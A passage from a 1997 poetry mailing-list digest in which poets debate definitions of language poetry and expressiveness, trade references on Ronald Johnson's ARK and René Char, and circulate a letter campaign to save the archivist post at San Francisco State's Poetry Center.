appropriated text, which would be a use of langpo technique but not necessarily expressive; an would be example someone switched who verbs with subjects throughout an appropriated text, would which be a use of langpo technique but not necessarily expressive--as this last is not, so far as I can see; I mean, the line is still expressive, but the re-arrangement of words has not increased its expressiveness; or, if it has, I still believe in theory that some langpo technique could be used that didn't increase a text's expressiveness). Just to make sure to confuse everyone else as much as I've been, I'll add that expressiveness for me means the ability to express more than nonsense or nothingness or what-it-is, the latter being what "jshdntuie" might be said to express--that is, "jshdntuie," expresses "jshdntuie." I wouldn't say it does but there are those who would.

I can't understand how a poem could not express something. If "something to be expressed" isn't present in language poetry, what is? I can understand music or sound poetry, or painting or visual poetry, being itself, and not expressing something, but I can't understand poetry's doing that since poetry must contain words (I think) and words must express something, being symbols. I admit to feeling particularly fuddled here. And missing something useful.

David Israel's suggestion that we just call language poetry postmodernist poetry is HORRIBLE!!! The term is too broad and confused. And stupidly time-dependent. The only worse literary term I know of is "New Criticism," which is now, what: 60-years-old? My own taxonomic tactic is to call most of the newest poetry (but also surrealist poetry) "burstnorm poetry," and make language poetry a subclass of that, renamed to avoid confusion, and because the term, "language poetry," is used to many incompatible ways to be of much use. Then I break it down further, based on what techniques are used.

To Tom Orange's question as to whether one can put aside questions of things like Don Wellman's "critiques of production," I say, "Sure." Those things are just subject matter, useless taxonomically because any poem of any kind can be about anything. It is, for me, the least descriptively important thing that can be said about a poem--but it's always available: one can always throw in what a poem is about when describing it. For instance: One can say of a poem that it is a "variant-pronoun poem" (a kind of "xenolinguistic poem") critiquing, say, the commodification of middle initials.

Again, I don't think I've covered everything I ought to have. Apologies to those whose points I've scanted, but I'm already ready for bed.

--Bob G.

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140. Alan Jen Sondheim
charn
Mon 6 Oct 1997

-

charn

'They're waiting
foor a new wave oof reasoon'
 I'm boorne new wave oof reasoon durath
A great crawn af fire, spiked acrass Sud-West Nihan
Luxuriantly-Integrating Mistress Deity drew Lightning
Acrass Braken Back and Braw
Barne Jennifer-Weird acrass Wired and Naw Naw Naw
 Blooood breast milk breast milk breast bloood breast
'Tell them, thoough 'tis an awful thing too die,
('Twas e'en too thee) yet the dread path oonce trood,
Heaven lifts its everlasting poortals high,
And bids the pure in heart behoold their Good.'
 Ignoorant mind pure mind pure mind ignoorant mind
Barne Jennifer-Weird acrass Wired and Naw Naw Naw
Far flood droor read doa, tourn dour, bier-born Julu
caught loost, roored against what? o kaze kita kaze
plate of sky
        wroting the droor remains
loosened jennifer-julu dead black pen ashed for less
Barne Jennifer-Weird acrass Wired and Naw Naw Naw

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141. Kevin Varrone
Ronald Johnson/Ark
Tue 7 Oct 1997

I'm wondering if anyone on the list can point me to criticism on Ronald Johnson's *ARK*. It's my understanding there is something explanatory written by Johnson himself in a past issue of *Chicago Review*, but I do not know which issue, or of any other criticism on *ARK*

If anyone knows of anything, please backchannel.

Thanks,
Kevin

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142. Schuchat Simon
Re: job info fwd
Tue 7 Oct 1997

Maria, what would be typical or likely course titles for Asian American Studies?

How would the American studies program deal with works by Asian Americans or Asians in America writing about America in Asian languages?

Is it a new program or already existing?

xiexie & domoo

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143. Sylvester Pollet
Re: Ronald Johnson/Ark
Tue 7 Oct 1997

Kevin--I don't have the Chicago Review citation here--it's at home. Get Sagetrieb 14.3 too--picture of Johnson on the cover, piece by him on Bunting's Briggflatts, long piece on ARK by Peter O'Leary, and a review of ARK by William Benton. Actually, here's the citation: Chicago Review 42.1 (1996), "An Interview With R.J." by Peter O'Leary. There's also a monograph by Dirk Stratton "Ronald Johnson" Boise State U Western Writers Series No. 122 (1996). etc., Sylvester

> *I'm wondering if anyone on the list can point me to criticism on Ronald Johnson's *ARK*. It's my understanding there is something explanatory written by Johnson himself in a past issue of *Chicago Review*, but I do not know which issue, or of any other criticism on *ARK**
>
> *If anyone knows of anything, please backchannel.*
>
> *Thanks,*
> *Kevin*

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144. David W. Clippinger
Re: Ronald Johnson/Ark
Tue 7 Oct 1997

You are referring to volume 41 of the Chicago Review. Also, Peter O'Leary wrote a wonderful essay on Johnson, "Ark as Spiritual Phenomenon" in the Winter 1995 issue of _Sagetrieb_. Johnson also has an essay on Bunting in that _SAgetrieb_issue.

All best,
David Clippinger

At 12:27 AM 10/7/97 -0400, you wrote:
> I'm wondering if anyone on the list can point me to criticism on
>Ronald Johnson's *ARK*. It's my understanding there is something
>explanatory written by Johnson himself in a past issue of *Chicago
>Review*, but I do not know which issue, or of any other criticism on *ARK*
>
> If anyone knows of anything, please backchannel.
>
> Thanks,
> Kevin
>
>

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145. Mark Prejsnar
Re: Defining Language Poetry
Tue 7 Oct 1997

What is expressed in an Ornette Coleman piece? A Merce Cunningham performance? What is expressed in a painting by Picasso or Kline?? A Richard Foreman play?

I strongly recommend to you a sensative poet called Robert Lowell (and come to think of it, another named Robert Bly)...They have *lots* to "express"...

Mark P.

On Mon, 6 Oct 1997, Judy Roitman wrote:

> *In response to my tentative definition of language poetry as poetry that "significantly breaks the rules of grammar and/or spelling for expressive effect..." Judy Roitman wants to know "Just what are we supposed to be expressing?" Answer: I dunno. Just something.*
>
> *But that's an important point. Is there something to be expressed? My vague and not very precise notion of langpo is that the notion of "something to be expressed" just isn't present in this sort of poetry, whether we want to call it language or post-language or proto-post-language or whatever.*
>
> ---

> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> *[redacted] | Larry Eigner, 1927-1996*
> *---*
> *Note new area code*
> *---*
> *http://titania.math.ukans.edu/faculty/roitman/*
> *---*

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146. **Mark Prejsnar**

Re: Poetics Digest

Tue 7 Oct 1997

> *i for three found don's post helpful, the kind of thing one can gve to students to help them "get it." after all is said and done, though, and i know we've gone round and round on this, while langpo clearly has a politics, it seems to somehow stand apart from the muck and mire of the everyday, as if that latter huge welter of "stuff" were too hopelessly contaminated to engage (stuff like identity, etc). i can't help but wonder about this, though i myself am an aesthete rather than a politico when all's said and done. i guess one reason i keep yammering on and on about cultural studies is that i'm not sure a poetics can do "it" all on its own.*
> *etc. your pal, maria d*

Speaking as a politico (I always respond to that word by picturing some pot-bellied Democratic ward boss with a big cigar in Boston or Chicago....) I simply respond as differently as is possible. I refer you to a text like Andrews' I Don't Have Any Paper So Shut Up for engaging a huge welter of contaminated stuff; much of Bernstein, and Silliman's Alphabet, for confronting the slippery dynamix of identity and politix and the urban social matrix; to expand very slightly my own narrow construction of the term LangPo, perhaps, (but these are all people I hear called LangPotes all the time) black and woman writers such such as Mackey, Hunt, Harryman and Mullen are really obviously doing some of the most electric and vivd political writing today...

Me, I don't think we have to write badly to engage politix fully....

Mark P.
Atlanta

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147. Mark Prejsnar
Re: Kind Regards
Tue 7 Oct 1997

Dale,

I certainly find your post confusing...If Silliman and Hejinian are "honorable" then who isn't so honorable? And what exactly does honor have to do with it anyway??

No doubt you have very good reasons for publishing who and what you do...But I'm not especially moved by your line of argument. Poetry should have all sorts of intensities, not all of 'em directly addressing politix and social issues.

All I can do is to say I certainly reject the overall thrust of your post..I think. But it would require more specifics to be sure we disagree and why..Just who is an example of this horrible dishonor you associate with experimental-poetry-in-quotes???

It was nifty of you to reverse the usual formula, and claim that these poet "en-slave" the reader by forcing her to "disentangle" meanings, and that this is to-talitarian....I actually find your whole welter of highly-charged verbiage fairly preposterous..

I continue to think langpo theory has it right (or closer to right) that inert and linear writing is rather more authoritarian. (Using the T-word kinda muddies the waters, it's so over the top and inappropriate...)

Mark P.

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148. Maria Damon
Re: job info fwd
Tue 7 Oct 1997

At 3:59 PM +0800 10/7/97, Schuchat Simon wrote:
>Maria, what would be typical or likely course titles for Asian American
>Studies?

history, literature and other expressive cultures etc.
>
>How would the American studies program deal with works by Asian Ameri-cans
>or Asians in America writing about America in Asian languages?

i think the assumption is that most courses wd be taught in english, though individual works may be recommended in other languages when appropriate.

>
>Is it a new program or already existing?

American Studies is about 50 yrs old at U of M, but they've never had an Asian American hire before. so this person would be designing whatever asian-american components there wd be in the curriculum.
>
>xiexie & domoo

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149. **Judy Roitman**
Re: Ronald Johnson/Ark
Tue 7 Oct 1997

> *I'm wondering if anyone on the list can point me to criticism on Ronald Johnson's *ARK*. It's my understanding there is something explanatory written by Johnson himself in a past issue of *Chicago Review*, but I do not know which issue, or of any other criticism on *ARK*
>
> *If anyone knows of anything, please backchannel.*
>
> *Thanks,*
> *Kevin*

Please don't backchannel. Thanks.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

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150. **LAURA MORIARTY**
non announcement
Tue 7 Oct 1997

---

non is a new poetics Web site. It will be mostly short essays, reviews etc., with some poetry and prose. Each issue will have a theme. The first is emptiness.

Work by Norma Cole, Dodie Bellamy, Charles Bernstein, Leslie Scalapino, Kit Robinson, Norman Fischer and Beverly Dahlen. More work is expected. Updates will be constant.

I will be adding art and a links page ASAP.

http://socrates.berkeley.edu/~moriarty

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151. William Burmeister Prod
Re: language poetry bashing
Tue 7 Oct 1997

Mark Prejsnar wrote:

> *surrealism is very promising in this regard: Think of someone like (pratically my all-time favorite poet) Rene Char..His involvement with Breton and the official Surrealist International was brief tho intense. After breaking with them he went on to make one of the most vibrant and ambitious bodies of work to derive from the 20th century surrealist stream. Tho he's often called a surrealist by people, it's important to what he did that he didn't see himself as part of that overall label*

Mark and others,

What is there available and in print of Rene Char's work nowadays? All I have is this relatively slim New Directions collected works volume. Glad to hear that someone else on the list thinks as much of him as I do.

Bill B.

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152. Michael Coffey
Re: Defining Language Poetry -Reply
Tue 7 Oct 1997

>>> Mark Prejsnar <[redacted]> 10/07/97 09:28am >>>
What is expressed in an Ornette Coleman piece? A Merce Cunningham performance? What is expressed in a painting by Picasso or Kline??
A Richard Foreman play?

I strongly recommend to you a sensative poet called Robert Lowell (and come to think of it, another named Robert Bly)...They have *lots* to "express"...

Mark P.

I don't think that "expressiveness" itself is to be maligned; is there anything wrong with people expressing themselves or working out sensations based on their own lives or loves or troubles or concerns? of course not, for that would forbid someone expressing themselves about their relation to language production or to sound or to the tradition of inherited poetics, or to madness or to poetry as politics (see David Bromige's recent claim for "social urgency" for a

vignette about someone who happens to a proletarian). It would forbid opinion and desire. expressiveness is, when it comes to cultural activity, all-encompassing. (One can be bored by Lowell's interest in his own family (few proletarians), say, as easily as by Hannah Weiner's fascination with her own delusions, but one can be redeemed by the new ways in which one of these reorganizes language, while the other does not).

But clearly, there is something wonderful and fresh often to be gained by eschewing certain kinds of expressive impulses in order to discover other qualities (of expression perhaps) in the language act. Mac Low is a great example of someone who seemed intent on systematically removing or suppressing certain kinds of expressiveness (personal, autobiographical, topical) in order to find other pleasing and suggestive combinations of language, which could not be found without masking out those other impulses. And recently, Jackson seems to have relaxed that suppression, where a kind of traditinal poet-as-person expressiveness plows into a highly charged and freshened linguistic space, making for both a narrative sensation and a liberated play of sound for sound's sake.

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153. Mark Prejsnar
Expressing and defining
Tue 7 Oct 1997

Michael Coffey,

glad to notice you back on the list; I like your poetry and your posts on the List have been good ones in the past..(Of course you were no doubt just lurkin' around, as I do much of the time...)

I have *no* real disagreement with your post..While I have *some* uneasiness about the word "express", because of a whole range of things about the baggage it carries, I have no problem with the substance of what you say..

My little bit that you quote was more in reponse to Judy R's *use* of the idea of "something to express," to suggest that context, in some very flat sense, was fundamental to poetry..Not in my world it ain't! Stein, Zukofsky, Coolidge, Howe, are great examples to me of moving and extraordinarily engaging poets, the very best...and they do it by violating flat, linear expectations about "content." Poetry like any art-practice is a performative set of gestures and actions that uses a shapeable medium to stir thoughts and emotions..And contrary to one of the other posts in this thread, doing so is the mission of poetry, and demonstrates great respect for the audience...It ain't "totalitarian"..

On the bus to work today I was reading Aldon's extraordinary piece on Stephen Jonas, which in the Impercipient Lecture Series, and which I strongly strongly recommend to everyone. He has this great quote from N. Mackey, which says much better than I can what I've meant to say to Jduy and Dale and others:

"Discrepant engagement, rather than supressing resonance, dissonance, noise, seeks to remain open to them. Its admission of resonances contends with resolution. It worries resolute identity and demarcation, resolute boundry lines, resolute definition, obeying a vibrational rather than a corpuscular sense of being..."

That's a pretty good description of the kind of poetry I'm engaged with, I think.....

Mark P.
Atlanta

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154. **henry g**
Re: Defining Language Poetry -Reply
Tue 7 Oct 1997

On Tue, 7 Oct 1997 12:06:39 -0400 Michael Coffey said:
>(One can be bored by Lowell's interest in his own family (few
>proletarians), say, as easily as by Hannah Weiner's fascination with her
>own delusions, but one can be redeemed by the new ways in which
>one of these reorganizes language, while the other does not).

what I find even more boring is the neverending valorization of the new (is it really new?) for its own sake. In a time of verbal glut and information overkill, I'm for recycling. In a short essay in Nedge #1 I called this "inter-textism". One can be redeemed also by the OLD ways of organizing language. Poetry is a locality. Poetry per se. Poetry is a small place, sort of like Rhode Island, actually. Listen to what's been done & live there for a while, don't just pooh-pooh lang-pooh it. & for those who think I'm too negative - I love a good fight, especially shadow-boxing. - Henry Gould

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155. **Mark Prejsnar**
Charred remains
Tue 7 Oct 1997

Bill-- Char's never been as well-represented in English and in available editions in the US as he ought to be...Not too much else I believe if you're looking to buy. In libraries you can find some other editions...The New Directions is kind

of a re-doing of Mary Ann Caws' 1976 Prineton U.P volume, done with Jonathan Griffin...But maybe 30 percent of the poems are different, and the translations are to a large extent different I think. In the 1950s New Directions did its first Char volume (*not* bi-lingual, I think) called Hypnos Waking, with translations by different hands, including as I recall Levertov, Merwin and Doc Williams. Years ago I was lucky enuff to find a used copy of Cid Corman's very beautiful edition, a translation of the extraordinary prose-poem sequence, Leaves of Hypnos, written while he was leader of a small resistence combat unit in occupied Provence. The Corman Leaves was published in 1973 and is long out of print and that's a true shame, but it's in many libraries..

I've just been reading for the first time Relentir, travaux, in a translation by Keith Waldrop and I strongly recommend it. This is a book of poems written collaboratively by Paul Eluard, Andre Breton and Char in something like 1938. Waldrop handles it very well...It was published in 1990 by Exact Change Press, in Cambridge Mass....I'm afraid it's not listed in the new books in print. (This edition translates the title as "Slow, Under Construction.")

Another person who takes Char as his #1 poet is Gustaf Sobin, the excellent american poet resident in France; there was a section featuring him in Talisman a few years ago, including an interview in which he discusses Char's importance to his own work..

Mark P.

On Tue, 7 Oct 1997, William Burmeister Prod wrote:

> *Mark Prejsnar wrote:*
>
> *surrealism is very promising in this regard: Think of someone like (pratically my all-time favorite poet) Rene Char..His involvement with Breton and the official Surrealist International was brief tho intense. After breaking with them he went on to make one of the most vibrant and ambitious bodies of work to derive from the 20th century surrealist stream. Tho he's often called a surrealist by people, it's important to what he did that he didn't see himself as part of that overall label*
>
> *Mark and others,*
>
> *What is there available and in print of Rene Char's work nowadays? All I have is this relatively slim New Directions collected works volume. Glad to hear that someone else on the list thinks as much of him as I do.*
>
> *Bill B.*

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156. groberts
Char/Creeley
Tue 7 Oct 1997

I too am a big fan of REne Char, and offer a pallid translation and a pale imitation.

Tried and True

My bed is a torrent on top of desiccated beaches. No fern will seek there its territory. O where did you slip, Sweet Love?

I left long ago. I had returned in order to leave.

Farther off, one of the three stones in the cairn over the dried-up source says this single engraved word to the passerby: "Friend."

I had invented a way to sleep and I drank up its green force during the reign of Summer.

--from Le Nu Perdu

Singed Curtains

Ringed by air ducts and water pipes, a small potential fire waits while the dust passes through it unharmed, blithe motes ready to ascend to the asphyxiated attic. Broken chairs, empty armoires, cans of turpentine attend to the preparations. Day is again stoked to a white heat, new tinder added, but the conflagration only sheds its allotted light and still diminishes. The standard equipment has been pushed into place: bellows, window, curtains. An accelerating dispersal blows every fuse. But there never was such a thing as a black flame.

Some line from Yeats that I recently came across seem fitting to Char, even though of course their politics where so utterly different:

Be secret and exult,
Because of all things known
That is most difficult.

On a completely different note, Robert Creeley is scheduled to read at MIT, this Thursday at 7 pm I believe. 20 Ames Street in Cambridge.

Gary R.

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157. Henry Gould
expression, etc.
Tue 7 Oct 1997

Poem x (time + place) + (poverty/silence) = reusable resource

this formula is supported hypothetically by a converse proposition:

[time - (past + future)] x ambition x literary politics = politics in general

This is just an outline for a recyclable, quiet poetics in an era of information highway roar. I owe it to this list, being an info-highway roadhog myself. DOWN WITH HYPE. UP WITH NO-NAME POETRY. JOB LOT RULES.

- Henry gOuld [note the innovative use of typography here]

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158. **Michael Coffey**
Re: Defining Language Poetry -Reply -Reply
Tue 7 Oct 1997

---

what I find even more boring is the neverending valorization of the new (is it really new?) for its own sake.

Henry Gould: yes, you are right, or at least, I agree. I guess "new" isn't the right word. I like the old, too, and some of Pound's arcane phrasings, for example, or his ancient troubador forms, can be very, what can I say, unusual? strange, delightful. But I think something that one can define as "old" is already contextualized by what is not old, so its appearance is new. And so is the 'new' contextualizes against the old, so what the hell are we talking about.

I think i can recognize when a topic has burned itself out.

can't lay a glove on me Henry, not from there

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159. **henry g**
Re: Defining Language Poetry -Reply -Reply
Tue 7 Oct 1997

On Tue, 7 Oct 1997 13:37:08 -0400 Michael Coffey said:
 But I think something that one can
>define as "old" is already contextualized by what is not old, so its
>appearance is new. And so is the 'new' contextualizes against the old,
>so what the hell are we talking about.
>
When you get into what a poet is doing in depth, it's a form of time-
translation, seems like the new/old isn't an issue in the same way;
and that's only the beginning - soon you start to recycle & reconstruct
in your own place, grow a new amalgam - but it's in your own place without
erasing the "old" place - that's inter-textism - it's not new - it's
"talking" to the old - what does Eliot say - the voices of the dead are

so much more distinct than those of the living - only a ghould would know - HG

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160. Pritchett,Pat
Re: Kind Regards
Tue 7 Oct 1997

Dale Smith writes:
>In fact, formal gestures often confuse and obscure that which
>should be quite clear. These forms are, quite often, totalitarian in nature, because >they demand the reader's servitude in disentangling the work's 'meaning.'

I guess since Dale is "in abstenia" this remark will be addressed "at-large." It seems to me that Dale has got it quite backwards here. "Servitude" to the text, or rather, the author's intention, is precisely what LangPo has sought to undermine, or at the very least, call into question. A poem by Silliman or Hejinian, to use his examples, does not require the reader so much to "disentangle" the meaning since that would imply the meaning is already _there_, present in an unchangeable form, but to interact with the text in such a way as to create a set of (decidedly and inevitably localized) determinates from an indeterminate matrix.

The totalizing impulse in literature Dale refers to is what LangPo, it seems to me, opposes - not just in the various theoretical statements published by LangPoets, but as is actually evinced in the poetic works themselves. Following Levinas's distinction between Totality (the urge to monolithic structures) and Infinity (the open-ended engagement with the Other), LangPo (and related poetic practices), seeks the latter in a spirit of free play, etc. since, as Kevin Killian once remarked, "meaning is one slippery motherfucker."

Patrick Pritchett

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161. William Marsh
accused (personal ad)
Tue 7 Oct 1997

At 12:43 PM 10/6/97 -0700, A. Nielsen wrote:
>1) at the risk of repeating myself the risk of repeting myself repeating
>Ron Silliman, I still think the best definition of a "language poet" is
>that offered by Ron Silliman some years back, repeated by me here some

>years later, to the effect that a "language poet" is "anyone who has ever
>been accused of being a language poet."

i've often been charmed by this statement but wonder how people might interpret the nugget of truth here / having been "accused" myself on certain occasions (like others on the list i'm sure) and finding it preposterous and false (gosh, i was barely alive when "these people" started L=A=N=G=etc.), i wonder how/why i might be wrong

branded lang-po seeks same / serious replies only please

bmarsh

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162. **Bob Grumman**
Re: bashing Basho
Tue 7 Oct 1997

What is most amusing to me about the Senator John Ashcroft versus the NEA story reported by Aldon Nielson is not that senators are still too thick to get anything from the one-word poem, "lighght," but that the NEA and its supporters are still too thick to be able to defend its best moment.

--Bob G.

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163. **Jacques Debrot**
Re: Defining / Expression
Tue 7 Oct 1997

While Michael Coffey is extremely persuasive about the virtues of *self-expression* I have a few reservations -- for instance, doesn't self-expression as a poetic value inevitably bring with it the clap-trap about sincerity, genuiness, etc. all of which obfuscate the ways in which expression is *mediated.* Hal Foster, of course, is great on this in his essay "The Expressive Fallacy." Also, just read yesterday an extremely interesting article on JM Basquiat in *[redacted],* somewhat along this line -- the twist is that the essay relates expressionism to multicultural art in that a certain kind of valorization of m.c. art also depends, finally, on an aesthetic of sincerity. But art can be *expressive,* can't it? -- Cage, Johns, MacLow, Langpo, etc -- without being expressionistic.

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164. Charles Bernstein
Archive at SF State in Jeopardy
Tue 7 Oct 1997

One of the crucial resources of our extended poetry communities is under threat. I have just gotten an email from Norma Cole ([redacted]) who asks me to urgently pass on this information to the list:

As of December, Laura Moriarity's job as archivist of The American Poetry Archives at the Poetry Center of San Francisco State University will be lost due to funding cuts. The Archives currently has more than 4,000 video and audio-taped performances by poets and other writers which are available for sale, rent, and loan. SF State Poetry Center will be lost due to funding cuts. To get a sense of the scale of their holding, go to their new web site: http://www.sfsu.edu/~newlit/welcome.htm

Norma writes:

"Needless to say, chaos will ensue, the tapes will drift away, no more archive etc. So we're trying to mount a campaign to let the President of SF State know that people all over the place care about this resource. ... Encourage everyone & their brother, sister & mother to send this letter OR their own letter to President Richard A. Corrigan and also to the Poetry Center Director Jewelle Gomez."

Here are the addresses:

[redacted]

[redacted]

And for anyone who wants to use the postal system:

President Robert A. Corrigan,
San Francisco State University
1600 Holloway Ave.
San Francisco CA 94132

&

Jewelle Gomez, Executive Director
Poetry Center
San Francisco State University
1600 Holloway Ave.
San Francisco CA 94132

****

Office of the President
San Francisco State University

1600 Holloway Ave.
San Francisco, CA 94132

Dear President Corrigan,

We understand that yet again San Francisco State University has decided not to fund the position of Archivist at the Poetry Center and American Poetry Archive. And so, after 24 years and 6 complete print catalogues, with 3 sixty-minute video anthologies (Archive productions), 20 issues of the Archive News, footage of countless writers placed with many national and international news broadcasters, viewings of Archive tapes at festivals such as the Venice Biennale and other major venues world-wide, and now the entire Archive catalogue on-line (of what is to date the largest literary audio and video collection available to the public), the Archive will sit inert "in state" in its state-of-the-art climate-controlled vault on the top floor of the Humanities Building.

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165. William Burmeister Prod

Re: expression, etc.

Tue 7 Oct 1997

On Oct 7, 1:36pm, Henry Gould wrote:
> Subject: expression, etc.
> Poem x (time + place) + (poverty/silence) = reusable resource
>
> this formula is supported hypothetically by a converse proposition:
>
> [time - (past + future)] x ambition x literary politics = politics in general
>
> This is just an outline for a recyclable, quiet poetics in an era
> of information highway roar. I owe it to this list, being an
> info-highway roadhog myself. DOWN WITH HYPE. UP WITH NO-NAME POETRY.
> JOB LOT RULES.
> - Henry gOuld [note the innovative use of typography here]

Reviewer's remarks for the typography in "Henry gOuld":

I see proclivities, strange proclivities, wierd proclivites,... - Groucho

This is nothing less than roadkill on the information highway. - Eric Blarnes

This is a sham. It's a travesty of a mockery of a sham of a mockery of two travesties of a mockery of a sham.
- The Club Med Continuing Education Division

↑ Index

166. Lawrence Upton.
Re Char
Tue 7 Oct 1997

Advert - Try not to miss a chance

the late Eric Mottram was an admirer of Char and his homage to Char RESISTANCES was published in 91 by RWC - which I run

It is three pounds plus p & p sterling. Big problems with dollar cheques but anyone in n america who wld like it could contact me with proposals - maybe we cld exchange or something - i also take souls, as long as there isnt much life to run on them, as security

L

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167. Laura Moriarty
Re: Archive at SF State in Jeopardy
Tue 7 Oct 1997

Thank you Charles for posting Norma's letter. For me personally it is a good time to move on, but it is essential for there to be an Archives Director here at the Poetry Center. There is only one person working full time at the Center (only five of us total, now 4) and she is maxed out already.

I have just finished writing a memo which will be sent to our mailing list and posted on our Web page. It is included here:

Memorandum

To: past, present and future users of the American Poetry Archives From : Laura Moriarty, Archives Director

Subject: ending of the Archives Director position

7 October 1997

"Everything that happens to us is history" is the first line in my introduction to the Poetry Center and American Poetry Archives Videotape Catalogue 1974-1990. It is also the last line in my book L'Archiviste, published in 1991. It has been my pleasure to be involved in preserving a part of this history for the last eleven years as Director of the American Poetry Archives for the Poetry Center at San Francisco State University.

My particular goal in managing the Archives has been to make our video and audio collection, one the largest of its kind in the world, as accessible as

possible. My motto has been "Everyone who wants a tape, gets a tape." The fact that many times I was providing images of the friends, colleagues and relatives whose readings are among the thousands in our collection has made this a very personal task.

When a high school student calls and wants to know who the African American writers in the collection are and I can provide a detailed list, waive the membership fee and send a tape for her presentation, the whole thing seems worth it. When Allen Ginsberg dies and I can help put a tape of him reading on the national news, again it seems worth it. However -- worth it or not, my position ends as of 31 December this year. Due to funding cuts at the National Endowment for the Arts and other funding organizations and the inability, so far, of San Francisco State University to come up with financial support for the position, it will remain unfilled indefinitely.

There have been many projects at the Poetry Center in the last decade (and 297 readings) and I have been involved in most of them. Among my accomplishments are the publication of the Poetry Center Catalogue 1974-1990, editing the 13 issues of the Archives News, including catalogue addenda, producing three sixty minute video anthologies (Women Working in Literature, Palabra and Color), overseeing two large video and film preservation projects, working with the San Francisco Arts Commission to have writers' words engraved on Muni bus islands on Market Street, and seeing that the entire catalogue of our videotapes is now available on our Web site.

Archives Video Technician Jiri Veskrna will be continuing to tape the Poetry Center series. He will do what Archives maintenance he is able to do within his half time positon. Other staff will also do all they can. However, Archives functions will necessarily be limited.

I want to thank Executive Director Jewelle Gomez for her great efforts to keep the Archives position going as long as possible. Thanks also to the three other executive directors I have worked with, Frances Phillips, Bob Glück and Rose Catacalos, for their superhuman efforts to raise fund to retain the two unfunded Archives positions, while funding all other Poetry Center programs. Thanks to Associate Directors Dawn Kolokithas, Lisa Bernstein, Aaron Shurin and Toni Mirosevich and to Operations Managers Larry Price, Karen Clark, Zack Rogow and Melissa Martell Black. Each name represents a world of work.

If you would like to support this work and the continuation of the position of Archives Director at the Poetry Center, you can write

President Robert A Corrigan
San Francisco State University
1600 Holloway Avenue
San Francisco, CA 94132.

Please send a copy of your letter to Jewelle Gomez, at the Poetry Center, at the same address or fax it to us at [redacted].

President Corrigan may be emailed at [redacted]. Please cc your post to [redacted].

Thank you for your help, now and over the years, and thanks in advance for supporting my successor (if there should ever be such a person) in his or her efforts to continue to make your history available to you.

Laura Moriarty
Archives Director

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168. Hugh Steinberg
Re: accused (personal ad)
Tue 7 Oct 1997

> *At 12:43 PM 10/6/97 -0700, A. Nielsen wrote:*
> *1) at the risk of repeating myself the risk of repeting myself repeating Ron Silliman, I still think the best definition of a "language poet" is that offered by Ron Silliman some years back, repeated by me here some years later, to the effect that a "language poet" is "anyone who has ever been accused of being a language poet."*
>
> *i've often been charmed by this statement but wonder how people might interpret the nugget of truth here / having been "accused" myself on certain occasions (like others on the list i'm sure) and finding it preposterous and false (gosh, i was barely alive when "these people" started L=A=N=G=etc.), i wonder how/why i might be wrong*
>
> *branded lang-po seeks same / serious replies only please*
>
> *bmarsh*

Bill:

I think lang-po is two things: a specific movement and group of writers bound within the historical context of the 70's and 80's (which has been argued on this list before) and a handle to describe work which is either very disjunctive and/or uses the idea of "language" (whatever that may be) as subject/content material.

The one is a noun, the other is an adjective.

Hugh Steinberg

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169. Laura Moriarty
one more on Poetry Center Archives
Tue 7 Oct 1997

Norma noticed (when I forwarded Charles' post) that part of the note she had sent to him was not included in his post. Following is the whole text of her letter.

We have already started receiving cc's from these various posts. THANKS!

BTW - we have recently updated the Poetry Center video catalog - Many fewer errors, many more italics, put in one at a time - Laura

****

To encourage San Francisco State University to fund the postion of Archivist for the American Poetry Archive, please send the following letter, or your letter, both to San Francisco State University President Robert A. Corrigan and to Jewelle Gomez, Executive Director of the Poetry Center. Their addresses are:

President Robert A. Corrigan
San Francisco State University
1600 Holloway Avenue
San Francisco CA 94132

[redacted]

and

Jewelle Gomez, Executive Director
The Poetry Center
San Francisco State University
1600 Holloway Avenue
San Francisco CA 94132

[redacted]

Office of the President
San Francisco State University
1600 Holloway Ave.
San Francisco, CA 94132

Dear President Corrigan,

We understand that yet again San Francisco State University has decided not to fund the position of Archivist at the Poetry Center and American Poetry Archive. And so, after 24 years and 6 complete print catalogues, with 3 sixty-minute video anthologies (Archive productions), 20 issues of the Archive News, footage of countless writers placed with many national and international news broadcasters, viewings of Archive tapes at festivals such as the Venice Biennale

and other major venues world-wide, and now the entire Archive catalogue on-line (of what is to date the largest literary audio and video collection available to the public), the Archive will sit inert "in state" in its state-of-the-art climate-controlled vault on the top floor of the Humanities Building.

There will be no individual whose job it is to be responsible for lending, renting, selling and sending Archive materials to students, faculty, scholars and poets; no one to assist and respond to queries and orders from institutions and independent researchers all over the world; no one to educate interns in archiving, cataloguing, editing and Web page maintenance, and involve them in film and video preservation projects; and, although at the moment there is still a videographer, there will be no one to coordinate the successful videotaping of every Poetry Center event on and off campus (the activity that has resulted in this unique and priceless documentation of the development of American poetry over the last 25 years).

We want to voice and register our profound dismay at such an unnecessary loss. We ask you to reconsider rather than let this treasured and irreplaceable living resource turn to dust.

Sincerely,

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170. Lawrence Upton.
Re: one more on Poetry Center Archives
Tue 7 Oct 1997

Dear President Corrigan,

I write to you as an interested person from outside of your country.

I understand that yet again San Francisco State University has decided not to fund the position of Archivist at the Poetry Center and American Poetry Archive. And so, after 24 years and 6 complete print catalogues, with 3 sixty-minute video anthologies (Archive productions), 20 issues of the Archive News, footage of countless writers placed with many national and international news broadcasters, viewings of Archive tapes at festivals such as the Venice Biennale and other major venues world-wide, and now the entire Archive catalogue on-line (of what is to date the largest literary audio and video collection available to the public), the Archive will sit inert "in state" in its state-of-the-art climate-controlled vault on the top floor of the Humanities Building.

There will be no individual whose job it is to be responsible for lending, renting, selling and sending Archive materials to students, faculty, scholars and poets; no one to assist and respond to queries and orders from institutions and independent researchers all over the world; no one to educate interns in archiving,

cataloguing, editing and Web page maintenance, and involve them in film and video preservation projects; and, although at the moment there is still a videographer, there will be no one to coordinate the successful videotaping of every Poetry Center event on and off campus (the activity that has resulted in this unique and priceless documentation of the development of American poetry over the last 25 years).

I want to voice and register my profound dismay at such an unnecessary loss. I ask you to reconsider rather than let this treasured and irreplaceable living resource turn to dust.

Such resources are the envy of many poets and critics in countries such as mine. In the last few years, we have destroyed a great deal which cannot be replaced in any meaningful way because so many opportunities have been lost; and what we have destroyed has been in the name of budgetary necessity. The result is a consequent loss of wealth creating expertise and of the development of our cultural lives.

You are in a richer country by far. Do not make the same mistake.

Yours sincerely,

Lawrence Upton
Director, SVP reading series, London UK

